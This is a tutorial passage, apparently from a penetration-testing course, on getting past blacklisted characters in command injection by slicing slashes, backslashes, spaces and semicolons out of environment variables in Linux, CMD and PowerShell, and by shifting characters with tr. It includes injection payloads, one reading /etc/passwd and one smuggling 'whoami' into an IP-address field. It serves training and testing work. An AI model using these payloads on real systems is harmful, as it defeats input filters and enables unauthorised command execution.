Bypassing Other Blacklisted Characters

Slashes (/, \) and semi-colons are essential for path and command construction and are commonly blacklisted. Environment variable substring extraction produces these characters without using them literally.

Linux — extracting from environment variables

Slash from $PATH

$PATH typically starts with /usr/local/bin:.... Extract the first character:

echo ${PATH:0:1}
# Output: /

Use in a payload (omit echo): ${PATH:0:1}etc${PATH:0:1}passwd

Semi-colon from $LS_COLORS

echo ${LS_COLORS:10:1}
# Output: ;

Use printenv to inspect all environment variables. Find one that contains the needed character, then calculate the start offset and length to slice it out.

Example payload combining both (semi-colon as separator, $IFS for spaces):

127.0.0.1${LS_COLORS:10:1}${IFS}whoami

Windows CMD — %HOMEPATH% substring

%HOMEPATH% expands to something like \Users\htb-student. Use start position and negative end to extract the backslash:

echo %HOMEPATH:~6,-11%
# Output: \

Adjust the offsets to match the actual username length on the target.

Windows PowerShell — array indexing

PowerShell treats strings as character arrays. Index directly into environment variables:

$env:HOMEPATH[0]
# Output: \

$env:PROGRAMFILES[10]
# Output: (space character)

Use Get-ChildItem Env: to list all variables and find characters you need.

Character shifting (Linux)

Shift any ASCII character by 1 using tr. Find the character one position before the target in the ASCII table (man ascii), then use it as input:

# \ is ASCII 92, [ is ASCII 91 (one before it)
echo $(tr '!-}' '"-~'<<<[)
# Output: \

Substitute [ with whichever character precedes your target in the ASCII table.